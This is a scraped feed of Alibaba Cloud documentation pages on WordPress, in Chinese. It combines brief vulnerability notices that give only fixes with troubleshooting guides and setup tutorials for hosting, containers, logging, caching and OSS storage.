                  云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                【漏洞公告】Wordpress 安装页面可被访问_内容管理系统(CMS)_Web应用安全漏洞_安全漏洞预警_安全公告和技术-阿里云 Fri, 02 May 2025 09:39:04 +0800 【漏洞公告】Wordpress 安装页面可被访问

                更新时间:2017-11-27 13:24:10

                本页目录

                漏洞描述

                Wordpress 在第一次被访问时,会引导管理员访问 Wordpress 安装页面,该页面允许配置数据库等信息。

                黑客可访问该页面,将网站与外部数据库相连,对网站内容进行篡改,并进一步入侵主机。

                修复建议

                在解压 Wordpress 安装包后,请立即进行初始化配置。配置完成后,该安装页面将自动失效。

                上一篇:【漏洞公告】CmsEasy 后台任意登录漏洞

                下一篇:【漏洞公告】CmsEasy 文件上传漏洞

                相关文档

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                【漏洞公告】WordPress 4.2 及以下版本存在多个高危漏洞_内容管理系统(CMS)_Web应用安全漏洞_安全漏洞预警_安全公告和技术-阿里云 Fri, 02 May 2025 09:39:04 +0800 【漏洞公告】WordPress 4.2 及以下版本存在多个高危漏洞

                更新时间:2017-11-23 17:52:04

                本页目录

                漏洞描述

                WordPress 4.2 及以下版本中存在多个安全漏洞,其中包括一个以匿名用户评论触发的存储型 XSS 漏洞。

                受影响范围

                WordPress <= 4.2

                修复方案

                升级 WordPress 到最新版本。

                注意:为保证业务正常运行,请先在测试环境中进行测试,确认无影响后再进行升级。

                上一篇:【漏洞公告】DuxCms 后台登录绕过漏洞

                下一篇:【漏洞公告】phpcms authkey 泄露漏洞

                相关文档

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                在WordPress中编辑文章时添加媒体无反应_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 在WordPress中编辑文章时添加媒体无反应

                更新时间:2020-03-13 16:58:50

                本页目录

                免责声明: 本文档可能包含第三方产品信息,该信息仅供参考。阿里云对第三方产品的性能、可靠性以及操作可能带来的潜在影响,不做任何暗示或其他形式的承诺。

                 

                问题描述

                在WordPress的编辑文章页面中,单击 添加媒体 无反应。

                 

                问题原因

                wp-config.php配置文件缺少相关代码。

                 

                解决方案

                阿里云提醒您:

                • 如果您对实例或数据有修改、变更等风险操作,务必注意实例的容灾、容错能力,确保数据安全。
                • 如果您对实例(包括但不限于ECS、RDS)等进行配置与数据修改,建议提前创建快照或开启RDS日志备份等功能。
                • 如果您在阿里云平台授权或者提交过登录账号、密码等安全信息,建议您及时修改。
                1. 在安装WordPress的根目录中,编辑wp-config.php配置文件。
                2. 在wp-config.php配置文件最后的位置添加如下代码。
                  define('CONCATENATE_SCRIPTS',false);
                3. 重新刷新WordPress页面即可。

                 

                适用于

                • 云虚拟主机

                 

                如果您的问题仍未解决,您可以在阿里云社区免费咨询,或提交工单联系阿里云技术支持。

                上一篇:Linux系统的虚拟主机通过FTP软件创建目录时出现“550 Create Directory Operation Failed”报错

                下一篇:虚拟主机报错信息 Parse error: syntax error, unexpected T_STRING in

                相关文档

                相关产品

                • 云虚拟主机

                  阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

                • 云解析 DNS

                  云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

                • 云服务器 ECS

                  云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                虚拟主机访问Wordpress跳转到临时域名_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 虚拟主机访问Wordpress跳转到临时域名

                更新时间:2020-01-07 17:04:03

                本页目录

                虚拟主机使用临时域名安装Wordpress后,控制台域名绑定已经完成,访问网站发现内部链接依旧指向到临时域名,如下图:

                wordpress

                需要修改站点内部链接域名的设置,这需要在Wordpress后台完成,具体的解决方法如下:

                登陆Wordpress后台,单击设置 > 常规,在右侧修改下网址即可,如下图:wordpresmanager

                如问题还未解决,请联系售后技术支持

                 


                上一篇:虚机下访问php5.3提示将php参数request_order更改为“CGP”

                下一篇:云虚拟主机404页面需要显示404状态码的问题

                相关文档

                相关产品

                • 云虚拟主机

                  阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

                • 云解析 DNS

                  云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

                • 云服务器 ECS

                  云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                【漏洞公告】WordPress 插件 WP-Slimstat 敏感信息泄露漏洞_内容管理系统(CMS)_Web应用安全漏洞_安全漏洞预警_安全公告和技术-阿里云 Fri, 02 May 2025 09:39:04 +0800 【漏洞公告】WordPress 插件 WP-Slimstat 敏感信息泄露漏洞

                更新时间:2017-11-23 17:50:48

                本页目录

                漏洞描述

                Wordpress WP-Slimstat 插件包含一个简单可猜测的密钥,该密钥被 WP-Slimstat 用来标记网站的访问者。

                一旦该密钥被破解,攻击者可以通过 SQL 注入(盲注)攻击目标网站,以获取敏感的数据库信息,包括用户名、密码(hash)以及 wordpress 安全密钥。

                受影响版本

                WP-Slimstat <= 3.9.6

                修复方案

                进入 Wordpress 管理后台,将 WP-Slimstat 插件更新至最新版本。

                上一篇:【漏洞公告】QiboCMS 远程代码执行漏洞

                下一篇:【漏洞公告】SQLCMS 被植入后门文件

                相关文档

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                虚拟主机WordPress安装教程_程序安装_用户指南_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 虚拟主机WordPress安装教程

                更新时间:2019-10-30 22:09:21

                本页目录

                 

                1. 请在网上下载最新版本的 WordPress 程序。本文以 WordPress-4.2-zh_CN.zip 为例安装。

                2. 将 WordPress 程序通过 FTP 上传到主机上的 /htdocs 目录。

                3.主机管理控制台 将程序解压到根目录。

                 

                4. 将解压后的文件全部移动到 /htdocs目录。本例中的 Filezilla 客户端直接全选文件,使用鼠标拖动到 /htdocs 目录即可。

                 

                5. 确保 /htdocs 目录下有 index.php 文件。 访问主机临时域名即可开始安装。

                6. 请注意数据库的配置方法。数据库的连接地址不是localhost,而是 主机管理控制台>数据库信息页面中的数据库信息。

                 

                7. 如果此处发现数据库无法连接,请确保数据库信息配置正确,请验证一下密码

                 10.JPG

                8. 单击下一步完成安装。

                 

                 

                特别说明:若出现以下两个报错提示,请参考如下解决方案:

                • 如果您提示报错信息:Warning: Cannot modify header information - headers already sent by ….

                请参考解决方案:PHP程序访问报错Warning: Cannot modify header information - headers already sent by

                • 如您提示报错信息:Internal Server Error

                请参考解决方案:处理Internal Server Error内部服务器500错误问题的建议

                如果问题还未能解决,请联系售后技术支持。

                上一篇:WordPress简介及使用帮助

                下一篇:云虚拟主机安装 ECShop

                相关文档

                相关产品

                • 云虚拟主机

                  阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

                • 云解析 DNS

                  云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

                • 云服务器 ECS

                  云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                为什么安装 WordPress 后,登录后台需要验证?_WordPress 相关_常见问题_弹性 Web 托管-阿里云 Fri, 02 May 2025 09:39:04 +0800 为什么安装 WordPress 后,登录后台需要验证?

                更新时间:2018-08-16 16:10:38

                本页目录

                问题现象

                在弹性 Web 托管实例上安装了 WordPress 后,已经将域名 CNAME 解析到弹性 Web 托管的临时域名上,并且已经绑定正式域名。使用正式域名可以访问网站,但是登录后台时需要登录验证。

                WordPress 登录验证提醒

                问题分析

                您使用临时域名安装 WordPress。安装之后,WordPress 的管理后台地址调用的地址是临时域名的地址,登录后台时就会跳转到临时域名。弹性 Web 托管实例的临时域名用于调试网站,因此会出现登录后台时要求验证。如下图中,程序调取的是临时域名的地址。

                程序调取的是临时域名

                解决方法

                您只需要让程序调用正式域名就可以解决上述问题。以下是两种解决方法:

                • 如果您有一定的代码基础,可以直接修改程序的调用域名代码。
                • 如果您对代码不了解,您需要备份现有的数据库和网站程序,再使用正式域名重新安装 WordPress。由于安装时使用的是正式域名,所以不会再出现临时域名需要验证的问题了。

                如果问题还未能解决,请联系 售后技术支持

                上一篇:安装 DedeCMS 后,页面报错 DedeCMS Error:Tag disabled:"php

                下一篇:安装 Joomla,提示 MB Language 已被设置为默认,怎么办?

                相关文档

                相关产品

                • 弹性 Web 托管

                  阿里云弹性Web托管是新一代的网站应用托管产品,基于先进的容器资源隔离技术,并采用多层沙箱保护提供安全运行环境,同时针对运行环境提供了多种扩展服务,并提供了可视化的控制面板。既拥有了传统虚拟主机的易用性,同时具备攻击隔离、弹性扩展等云产品特性,使得中小型网站用户的网站运行更加稳定和安全。

                • 云虚拟主机

                  阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

                • 云解析 DNS

                  云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                虚拟主机中WordPress程序发信失败_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 虚拟主机中WordPress程序发信失败

                更新时间:2020-01-07 17:04:34

                本页目录


                WordPress程序使用的不是fsockopen函数发信,而是使用stream_socket_client函数发信,如果PHP函数在虚拟主机中被禁用,则会导致发信失败。解决方法如下:

                可以通过修改WordPress程序中wp-includes/class-smtp.php文件,找到以下内容部分。

                    $this->smtp_conn = @stream_socket_client(            

                        $host . ":" . $port,            

                        $errno,            

                        $errstr,            

                        $timeout,            

                        STREAM_CLIENT_CONNECT,            

                        $socket_context        

                    );  

                smtp.png

                /** 和*/ 以上部分注释掉,使用以下内容代替该部分

                $this->smtp_conn = fsockopen($host, $port, $errno, $errstr);

                smtp2.png


                注意:Wordpress4.3.1版本测试已经支持自动检测是否是指stream_socket_client函数,如果不支持会自动去使用fsockopen进行发信,因此4.3.1之后版本不需要在修改此文件,在Wordpress应用中心安装Easy WP SMTP Settings插件,配置好就可以直接发送邮件了。


                如问题还未解决,请联系售后技术支持


                上一篇:云虚拟主机中MySQL数据库出现“Too many connections”报错

                下一篇:云虚拟主机访问显示“非常抱歉该页面暂时无法访问”

                相关文档

                相关产品

                • 云虚拟主机

                  阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

                • 云解析 DNS

                  云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

                • 云服务器 ECS

                  云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                通过编排模板创建 WordPress_快速入门_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过编排模板创建 WordPress

                更新时间:2019-03-21 15:56:02

                编辑 我的收藏

                新浪微博 微信 钉钉

                本页目录

                前提条件

                如果您还未创建集群,您需要先创建集群。有关如何创建集群的详细信息,参见创建集群

                操作步骤

                1. 登录容器服务管理控制台
                2. 在Swarm菜单下,单击左侧导航栏中的应用并单击右上角的创建应用,如下图所示。



                3. 输入应用相关信息,单击使用编排模板创建

                  • 应用名称:要创建的应用的名称。本示例中,应用名称为 wordpress-test。
                  • 应用版本:所创建应用的版本。默认为 1.0。
                  • 部署集群:要部署到的集群。
                  • 默认更新策略:应用更新的方式,您可以选择标准发布蓝绿发布 ,参见 发布策略说明
                  • 应用描述:应用的相关信息。该信息将显示在应用列表页面。
                  • 检查最新 Docker 镜像:选中该选项后,表示当镜像 Tag 不变的情况下,也会去仓库拉取最新的镜像。

                    为了提高效率,容器服务会对镜像进行缓存。部署时,如果发现镜像 Tag 与本地缓存的一致,则会直接复用而不重新拉取。所以,如果您基于上层业务便利性等因素考虑,在做代码和镜像变更时没有同步修改 Tag ,就会导致部署时还是使用本地缓存内旧版本镜像。而勾选该选项后,会忽略缓存,每次部署时重新拉取镜像,确保使用的始终是最新的镜像和代码。



                4. 单击使用已有编排模板, 单击 WordPress 模板对应的选择按钮。



                5. 在模板编辑框,修改相应的配置。

                  您可以在模板中进行修改,或选择要修改的服务,然后单击编辑修改配置。

                  aliyun.routing.port_80: http://wordpress 代表该容器运行成功后,来自 http://wordpress.$testDomain 的请求会转发到容器的 80 端口。

                6. 单击创建并部署
                7. 单击查看应用列表返回应用列表 或左侧导航栏中的 应用。如下图所示,单击应用名称 wordpress-test,查看应用详情。



                8. 单击服务列表中的服务名称web,查看服务的详细信息。



                9. 单击服务 web 的访问端点,即访问的域名。



                  说明

                  • 该域名仅供测试使用。请绑定您自己的域名。
                  • 如果您无法正常访问,可以参考访问链路问题排查 进行问题排查。

                上一篇:通过镜像创建 Nginx

                下一篇:通过 Docker 工具连接集群

                相关文档

                相关产品

                • 容器服务(已停止服务)

                  容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

                • 容器服务Kubernetes版

                  容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

                • 容器镜像服务

                  容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                wordpress 日志_采集常见日志_其他采集方式_数据采集_日志服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 wordpress 日志

                更新时间:2020-03-30 20:18:07

                编辑 我的收藏

                新浪微博 微信 钉钉

                本页目录

                WordPress是使用PHP语言和MySQL数据库开发的博客平台,并逐步演化成一款内容管理系统软件。

                WordPress 默认日志格式

                原始日志样例:

                172.64.0.2 - - [07/Jan/2016:21:06:39 +0800] "GET /wp-admin/js/password-strength-meter.min.js?ver=4.4 HTTP/1.0" 200 776 "http://wordpress.c4a1a0aecdb1943169555231dcc4adfb7.cn-hangzhou.alicontainer.com/wp-admin/install.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36"

                WordPress日志的Logtail收集配置参数

                行首正则式:

                d+.d+.d+.d+s-s.*

                提取日志信息的正则表达式:

                (S+) - - [([^]]*)] "(S+) ([^"]+)" (S+) (S+) "([^"]+)" "([^"]+)"

                时间转换格式:

                %d/%b/%Y:%H:%M:%S

                样例日志提取结果:
                Key Value
                ip 10.10.10.1
                time 07/Jan/2016:21:06:39 +0800
                method GET
                url /wp-admin/js/password-strength-meter.min.js?ver=4.4 HTTP/1.0
                status 200
                length 776
                ref http://wordpress.c4a1a0aecdb1943169555231dcc4adfb7.cn-hangzhou.alicontainer.com/wp-admin/install.php
                user-agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36

                上一篇:采集Node.js日志

                下一篇:ThinkPHP 日志

                相关文档

                相关产品

                • 日志服务

                  日志服务(Log Service,简称 SLS)是针对日志类数据一站式服务,在阿里巴巴集团经历了大量大数据场景锤炼而成。用户无需开发就能快捷完成数据采集、消费、投递以及查询分析等功能,帮助提升运维、运营效率,建立 DT 时代海量日志处理能力。

                • 对象存储 OSS

                  阿里云对象存储服务(Object Storage Service,简称 OSS),是阿里云提供的海量、安全、低成本、高可靠的云存储服务。您可以通过调用 API,在任何应用、任何时间、任何地点上传和下载数据,也可以通过 Web 控制台对数据进行简单的管理。OSS 适合存放任意类型的文件,适合各种网站、开发企业及开发者使用。按实际容量付费真正使您专注于核心业务。

                • 容器服务Kubernetes版

                  容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                OCS与WordPress结合使用教程_API与SDK使用_产品使用问题_常见问题_云数据库 Memcache-阿里云 Fri, 02 May 2025 09:39:04 +0800 OCS与WordPress结合使用教程

                更新时间:2017-06-07 13:26:11

                本页目录

                WordPress是一个注重美学、易用性和网络标准的个人信息发布平台。当站点访问量增大后,可以使用OCS为热点数据的访问提供高速响应,缓解服务器的压力。

                 

                下面以WordPress4.1为例配置OCS:

                1.下载插件ocsfile.zip ,解压后得到如下3个文件
                 

                cache.JPG

                 

                2.将这3个文件上传至wordpress/wp-content/下

                3.修改object-cache.php中缓存信息

                将如下标红代码修改为您相应的OCS信息,代码位于object-cache.php文件第96行。

                function wp_cache_init() {
                global $wp_object_cache, $sasl_memcached_config;

                $wp_object_cache = new WP_Object_Cache();

                if ( isset( $sasl_memcached_config ) && is_array( $sasl_memcached_config ) ) {
                $wp_object_cache->load_from_config( $sasl_memcached_config );
                 }

                else { $wp_object_cache->load_from_config(array( 'default' => array( array( 'host' => '你的OCS的内网地址.ocs.aliyuncs.com', 'port' => '11211', 'user' => '实例ID', 'pass' => '密码', ), ), )); }}4.修改wp-config.php文件(在wordpress文件夹下)在wp-config.php文件中添加如下代码:

                define('WP_CACHE',true);

                require_once(ABSPATH . 'wp-settings.php');

                配置好后,在您个人的WordPress站点已安装插件页面下,可看到类似下图的信息:

                wordpress安装缓存插件页面.jpg

                至此,WordPress便搭上OCS的快车啦,可在OCS的控制台查看命中率等信息。

                其他有关缓存的配置,可在advanced-cache.php中修改(例如设置cache build的次数var $times等)

                上一篇:设置缓存数据过期时间

                下一篇:ocs-sniffer网络探测抓包分析工具

                相关文档

                相关产品

                • 云数据库 Memcache

                  云数据库Memcache版( ApsaraDB for Memcache)是基于内存的缓存服务,支持海量小数据的高速访问。云数据库Memcache可以极大缓解对后端存储的压力,提高网站或应用的响应速度。云数据库Memcache支持Key-Value的数据结构,兼容Memcached协议的客户端都可与阿里云云数据库Memcache版进行通信。

                • 云数据库 Redis

                  阿里云数据库 Redis 版(ApsaraDB for Redis)是兼容开源 Redis 协议的 Key-Value 类型在线存储服务。它支持字符串(String)、链表(List)、集合(Set)、有序集合(SortedSet)、哈希表(Hash)等多种数据类型,及事务(Transactions)、消息订阅与发布(Pub/Sub)等高级功能。通过“内存+硬盘”的存储方式,云数据库 Redis 版在提供高速数据读写能力的同时满足数据持久化需求。

                • 云数据库 RDS

                  阿里云关系型数据库(Relational Database Service,简称RDS)是一种稳定可靠、可弹性伸缩的在线数据库服务。基于阿里云分布式文件系统和SSD盘高性能存储,RDS支持MySQL、SQL Server、PostgreSQL、PPAS(Postgre Plus Advanced Server,高度兼容Oracle数据库)和MariaDB引擎,并且提供了容灾、备份、恢复、监控、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                Wordpress如何存储远程附件到OSS_ossftp_常用工具_对象存储 OSS-阿里云 Fri, 02 May 2025 09:39:04 +0800 Wordpress如何存储远程附件到OSS

                更新时间:2020-05-08 18:09:53

                编辑 我的收藏

                新浪微博 微信 钉钉

                本页目录

                本文介绍如何基于Wordpress个人网站存储远程附件。

                前提条件

                • 已开通OSS服务,并创建了一个公共读权限的存储空间(Bucket)。
                • 已搭建Wordpress个人网站。

                背景信息

                网站远程附件功能是指将用户上传的附件直接存储到远端的存储服务器,一般是通过FTP的方式存储到远程的FTP服务器。目前Discuz论坛、phpwind论坛、Wordpress个人网站等都支持远程附件功能。

                wordpress本身不支持远程附件功能,但是可以通过第三方的插件来做远程附件。本文档示例中所用wordpress版本为4.3.1,所用插件为Hacklog Remote Attachment。

                配置步骤

                1. 使用管理员账号登录wordpress站点。
                2. 单击插件,之后在关键词栏输入FTP并按回车键。
                3. 找到Hacklog Remote Attachment,单击现在安装
                4. 插件安装完成后单击设置 > Hacklog远程附件
                5. 在弹出的Hacklog远程附件选项对话框设置FTP服务信息。

                  配置项 说明
                  Ftp服务器 即运行ossftp工具的地址,通常填写127.0.0.1即可。
                  Ftp服务器端口 默认为2048。
                  Ftp用户名 格式为AccessKeyID/BukcetName。注意这里的正斜线(/)不是或的意思。
                  Ftp密码 即AccessKeySecret。
                  FTP超时 默认设置为30秒即可。
                  远程基本URL 填写Bucket的外网访问域名,格式为http://BucketName.Endpoint。测试所用Bucket名为test-hz-jh-002,属于杭州地域。所以这里填写的是http://test-hz-jh-002.oss-cn-hangzhou.aliyuncs.com/wp。关于访问域名的详情请参见OSS访问域名使用规则
                  FTP远程路径 设置附件在Bucket的存储路径。示例中填写wp表示所有附件都会存储在Bucket的wp目录下。远程基本URL须与FTP远程路径对应。
                  HTTP远程路径 填半角句号(.)即可。

                6. 单击保存

                  单击保存的同时会测试配置,测试结果会在页面上方显示。

                7. 发布新文章验证配置是否成功。
                  1. 撰写新文章时单击添加媒体来上传附件。

                    上传附件如下图所示。

                  2. 单击发布,即可看到刚撰写的文章。
                  3. 在图片上右键单击,选择在新标签页中打开链接

                    通过图中的URL,我们可以判断图片已经上传到OSS的test-hz-jh-002 Bucket。

                上一篇:Phpwind如何存储远程附件到OSS

                下一篇:常见问题

                相关文档

                相关产品

                • 对象存储 OSS

                  阿里云对象存储服务(Object Storage Service,简称 OSS),是阿里云提供的海量、安全、低成本、高可靠的云存储服务。您可以通过调用 API,在任何应用、任何时间、任何地点上传和下载数据,也可以通过 Web 控制台对数据进行简单的管理。OSS 适合存放任意类型的文件,适合各种网站、开发企业及开发者使用。按实际容量付费真正使您专注于核心业务。

                • 媒体处理

                  媒体处理(ApsaraVideo for Media Processing,原MTS)是一种多媒体数据处理服务。它以经济、弹性和高可扩展的音视频转换方法,将多媒体数据转码成适合在全平台播放的格式。并基于海量数据深度学习,对音视频的内容、文字、语音、场景多模态分析,实现智能审核、内容理解、智能编辑。

                • 访问控制

                  访问控制(Resource Access Management,RAM)是阿里云提供的一项管理用户身份与资源访问权限的服务。使用RAM,您可以创建、管理RAM用户(例如员工、系统或应用程序),并可以控制这些RAM用户对资源的操作权限。当您的企业存在多用户协同操作资源时,使用RAM可以让您避免与其他用户共享云账号密钥,按需为用户分配最小权限,从而降低企业信息安全风险。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

